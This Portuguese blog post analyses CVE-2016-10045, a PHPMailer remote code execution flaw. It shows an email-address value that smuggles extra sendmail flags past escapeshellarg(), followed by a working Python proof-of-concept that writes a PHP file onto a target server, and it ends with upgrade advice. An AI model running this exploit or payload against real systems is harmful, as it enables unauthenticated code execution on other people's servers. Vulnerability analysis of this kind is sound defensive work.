blog.lesis.lat

Análise da CVE-2016-10045: RCE no PHPMailer

November 06, 2024 | 3 Minute Read

A CVE-2016-10045[1] é uma vulnerabilidade crítica no PHPMailer[2], que afeta versões anteriores à 5.2.18, uma biblioteca amplamente utilizada para o envio de e-mails em aplicações escritas em PHP[3]. Essa vulnerabilidade permite que um atacante execute códigos maliciosos em um servidor web comprometido, explorando uma falha de validação de entrada no código do PHPMailer.

Essa publicação está disponível também em: Inglês


Introdução

O PHPMailer continua sendo uma das bibliotecas de envio de e-mails mais utilizadas globalmente, com aproximadamente 9 milhões de usuários ao redor do mundo. Além disso, o PHPMailer é empregado em diversos projetos open-source, como: WordPress, Drupal, Joolma, entre outros.

Um dos pontos que torna essa vulnerabilidade ainda mais crítica é que, na maioria dos casos, o atacante não precisa ser um usuário autenticado para injetar código malicioso e realizar uma execução de código remoto (RCE)[4] em um servidor web.

Para explorar essa vulnerabilidade, basta ao atacante identificar qualquer campo de formulário que utilize o PHPMailer para o envio de e-mail e, em seguida, enviar o payload.


Descrição

Essa vulnerabilidade decorre de uma correção inadequada na CVE-2016-10033[5]. Na versão 5.2.17 do PHPMailer, foi implementada uma sanitização da variável $Sender através da função escapeshellarg() antes que o valor fosse passado para a função mail(). Como resultado, é possível acrescentar uma aspa a mais que não é devidamente escapada, quebrando o fluxo da função escapeshellarg().

Por exemplo:

$mail \-\> SetFrom("\\"Attacker\\\\' \-Param2 \-Param3\\"@test.com", 'Client Name');

Irá resultar na seguinte lista de argumentos sendo passada para o programa de envio de e-mails:

Arg no. 0 \== \[/usr/sbin/sendmail\]  
Arg no. 1 \== \[-t\]  
Arg no. 2 \== \[-i\]  
Arg no. 3 \== \[-f\\"Attacker\\\\\\\]  
Arg no. 4 \== \[-Param2\]  
Arg no. 5 \== \[-Param3"@test.com'\]

O atacante pode passar o parâmetro -X para escrever um log contendo código PHP arbitrário, o que torna as versões anteriores à 5.2.20 vulneráveis à execução remota de código (RCE).


Prova de Conceito

Script em Python que explora a vulnerabilidade:

#!/usr/bin/env python3  
import requests  
import argparse  
import re  
def exploit(url, dir):  
    if not re.match(r'^https?://', url):  
        url \= f"https://{url}"  
    payload \= "\\"attacker\\\\' \-oQ/tmp/ \-X%s/phpcode.php  some\\"@email.com" % dir  
    code \= "\<?php phpinfo(); ?\>"  
      
    data \= {'action': 'send', 'name': 'LESIS', 'email': payload, 'msg': code}  
      
    response \= requests.post(url, data=data)  
      
    if response.status\_code \== 200:  
        print("Exploitation successful\!")  
    else:  
        print("Exploitation failed.")  
def main():  
    parser \= argparse.ArgumentParser(description='CVE-2016-10045 | PHPMailer')  
    parser.add\_argument('-t', '--target', required=True, help='Target URL')  
    parser.add\_argument('-d', '--dir', required=True, help='Remote recording directory')  
    args \= parser.parse\_args()  
      
    if args.target and args.dir:  
        exploit(args.target, args.dir)  
if \_\_name\_\_ \== '\_\_main\_\_':  
    main()

Conclusão

A vulnerabilidade decorre de uma falha na sanitização de parâmetros de entrada no PHPMailer, permitindo que atacantes executem código malicioso em servidores web comprometidos. Isso representa um risco significativo, já que a exploração pode ser realizada sem a necessidade de autenticação, possibilitando a injeção de código remoto (RCE) em aplicações vulneráveis.

Os potenciais impactos de uma exploração bem-sucedida incluem a execução de código arbitrário, que pode resultar em comprometimento da segurança e acesso não autorizado a informações sensíveis.

A mitigação recomendada é atualizar o PHPMailer para a versão 5.2.20 ou superior.


Referências